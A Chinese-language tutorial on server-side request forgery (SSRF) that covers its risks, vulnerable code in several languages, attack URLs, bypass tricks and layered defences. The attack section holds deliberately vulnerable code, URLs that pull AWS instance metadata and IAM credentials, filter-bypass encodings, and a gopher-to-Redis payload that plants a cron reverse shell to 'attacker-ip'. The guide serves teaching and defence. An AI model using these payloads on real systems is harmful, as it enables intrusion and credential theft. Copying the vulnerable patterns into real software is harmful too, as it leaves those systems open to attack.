016_Web安全实战指南：服务器端请求伪造(SSRF)漏洞原理、攻击技术与全面防御策略

SSRF漏洞危害等级评估
  ├── 严重
  │   ├── 内网服务探测
  │   ├── 敏感数据泄露
  │   ├── 远程代码执行
  │   └── 云服务元数据攻击
  ├── 高
  │   ├── 端口扫描
  │   ├── 绕过防火墙限制
  │   └── 拒绝服务攻击
  └── 中
      ├── 信息收集
      ├── 代理转发攻击
      └── 缓存投毒

攻击者构造恶意URL或请求目标
  ↓
发送恶意URL或请求目标到目标应用程序
  ↓
应用程序在服务器端向该目标发起请求
  ↓
应用程序返回请求结果给攻击者
  ↓
攻击者获取敏感信息或实现其他攻击目标

// 存在SSRF漏洞的Java代码
@RequestMapping("/fetch-image")
public ResponseEntity<byte[]> fetchImage(@RequestParam String url) {
    try {
        // 危险操作：直接使用用户提供的URL发起请求
        URL imageUrl = new URL(url);
        HttpURLConnection connection = (HttpURLConnection) imageUrl.openConnection();
        connection.setRequestMethod("GET");
        connection.setConnectTimeout(5000);
        
        // 读取响应内容
        ByteArrayOutputStream output = new ByteArrayOutputStream();
        try (InputStream input = connection.getInputStream()) {
            byte[] buffer = new byte[4096];
            int bytesRead;
            while ((bytesRead = input.read(buffer)) != -1) {
                output.write(buffer, 0, bytesRead);
            }
        }
        
        return ResponseEntity.ok()
                .contentType(MediaType.IMAGE_JPEG)
                .body(output.toByteArray());
    } catch (Exception e) {
        return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).build();
    }
}

// 存在SSRF漏洞的PHP代码
function getExternalData($apiEndpoint) {
    // 危险操作：直接使用用户提供的API端点
    $ch = curl_init($apiEndpoint);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

// 用户可以通过参数控制API端点
$apiData = getExternalData($_GET['endpoint']);

# 探测内网IP
https://vulnerable-site.com/fetch-image?url=http://192.168.0.1
https://vulnerable-site.com/fetch-image?url=http://192.168.0.2

# 端口扫描
https://vulnerable-site.com/fetch-image?url=http://192.168.0.100:22
https://vulnerable-site.com/fetch-image?url=http://192.168.0.100:80
https://vulnerable-site.com/fetch-image?url=http://192.168.0.100:3306

# 访问AWS EC2实例元数据
https://vulnerable-site.com/fetch-image?url=http://169.254.169.254/latest/meta-data/

# 获取IAM角色凭证
https://vulnerable-site.com/fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
https://vulnerable-site.com/fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

# IP地址转换绕过
http://127.0.0.1 → http://2130706433 (十进制)
http://127.0.0.1 → http://017700000001 (八进制)
http://127.0.0.1 → http://0x7f000001 (十六进制)
http://127.0.0.1 → http://0177.0.0.1 (混合进制)

# 特殊域名绕过
http://127.0.0.1.xip.io
http://localhost

# URL编码绕过
http://%31%32%37%2e%30%2e%30%2e%31
http://%2531%2532%2537%252e%2530%252e%2530%252e%2531

# 利用gopher协议向Redis发送命令
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a*/1 * * * * bash -i >& /dev/tcp/attacker-ip/4444 0>&1%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

识别应用程序中可能发起外部请求的功能点
  ↓
尝试提供指向本地回环地址的URL参数
  ↓
观察应用程序的响应，检查是否有SSRF漏洞的迹象
  ↓
如果发现漏洞，进一步测试内部网络和其他目标
  ↓
尝试使用不同的协议和绕过技术，扩大攻击范围

// Java中的SSRF漏洞模式
URL url = new URL(request.getParameter("url"));
HttpURLConnection conn = (HttpURLConnection) url.openConnection();

// Python中的SSRF漏洞模式
import requests
url = request.args.get('url')
response = requests.get(url)

// PHP中的SSRF漏洞模式
$url = $_GET['url'];
$response = file_get_contents($url);

// Node.js中的SSRF漏洞模式
const request = require('request');
const url = req.query.url;
request(url, (error, response, body) => {
  // 处理响应
});

// 使用白名单验证的安全URL处理
public static boolean isValidUrl(String url) {
    try {
        URL urlObj = new URL(url);
        
        // 检查协议
        String protocol = urlObj.getProtocol();
        if (!"http".equals(protocol) && !"https".equals(protocol)) {
            return false;
        }
        
        // 检查域名白名单
        String host = urlObj.getHost();
        if (!ALLOWED_DOMAINS.contains(host)) {
            // 检查IP地址
            InetAddress addr = InetAddress.getByName(host);
            String ip = addr.getHostAddress();
            
            // 过滤内网IP
            if (isPrivateIp(ip)) {
                return false;
            }
            
            // 过滤敏感IP
            if (SENSITIVE_IPS.contains(ip)) {
                return false;
            }
        }
        
        return true;
    } catch (Exception e) {
        return false;
    }
}

// 检查是否为内网IP
private static boolean isPrivateIp(String ip) {
    // 检查10.0.0.0/8
    if (ip.startsWith("10.")) return true;
    // 检查172.16.0.0/12
    if (ip.startsWith("172.16.") || ip.startsWith("172.17.") || 
        ip.startsWith("172.18.") || ip.startsWith("172.19.") ||
        ip.startsWith("172.20.") || ip.startsWith("172.21.") ||
        ip.startsWith("172.22.") || ip.startsWith("172.23.") ||
        ip.startsWith("172.24.") || ip.startsWith("172.25.") ||
        ip.startsWith("172.26.") || ip.startsWith("172.27.") ||
        ip.startsWith("172.28.") || ip.startsWith("172.29.") ||
        ip.startsWith("172.30.") || ip.startsWith("172.31.")) return true;
    // 检查192.168.0.0/16
    if (ip.startsWith("192.168.")) return true;
    // 检查127.0.0.0/8
    if (ip.startsWith("127.")) return true;
    // 检查IPv6本地地址
    if (ip.equals("::1") || ip.startsWith("fe80:") || ip.startsWith("fc00:")) return true;
    // 检查云服务元数据地址
    if (ip.equals("169.254.169.254")) return true;
    
    return false;
}

外部请求隔离架构
  ├── Web应用服务器
  │   └── 仅允许与请求代理通信
  ├── 请求代理服务器
  │   ├── 实施URL白名单
  │   ├── 过滤内网IP
  │   ├── 禁用危险协议
  │   └── 仅允许特定端口
  └── 外部网络
      └── 仅请求代理可访问

// 使用资源ID代替直接URL
@RequestMapping("/fetch-resource")
public ResponseEntity<byte[]> fetchResource(@RequestParam String resourceId) {
    // 从配置或数据库中获取对应的URL
    String url = getUrlForResourceId(resourceId);
    if (url == null) {
        return ResponseEntity.notFound().build();
    }
    
    // 验证URL
    if (!isValidUrl(url)) {
        return ResponseEntity.badRequest().build();
    }
    
    // 发起请求并返回结果
    try {
        URL resourceUrl = new URL(url);
        HttpURLConnection connection = (HttpURLConnection) resourceUrl.openConnection();
        connection.setRequestMethod("GET");
        connection.setConnectTimeout(5000);
        connection.setReadTimeout(10000);
        
        // 读取响应内容
        ByteArrayOutputStream output = new ByteArrayOutputStream();
        try (InputStream input = connection.getInputStream()) {
            byte[] buffer = new byte[4096];
            int bytesRead;
            while ((bytesRead = input.read(buffer)) != -1) {
                output.write(buffer, 0, bytesRead);
            }
        }
        
        return ResponseEntity.ok().body(output.toByteArray());
    } catch (Exception e) {
        return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).build();
    }
}

# 为AWS EC2实例配置IMDSv2
aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-tokens required \
    --http-endpoint enabled

SSRF漏洞防御多层次策略
  ├── 应用层防御
  │   ├── URL白名单验证
  │   ├── 禁用危险协议
  │   ├── 过滤内网IP
  │   └── 限制请求超时
  ├── 网络层防御
  │   ├── 防火墙规则
  │   ├── 网络隔离
  │   ├── 反向代理
  │   └── 专用请求服务
  ├── 云服务特定防御
  │   ├── IMDSv2配置
  │   ├── IAM角色最小权限
  │   ├── VPC安全组
  │   └── 私有子网
  └── 监控与审计
      ├── 记录外部请求
      ├── 监控异常访问
      ├── 实施入侵检测
      └── 设置告警机制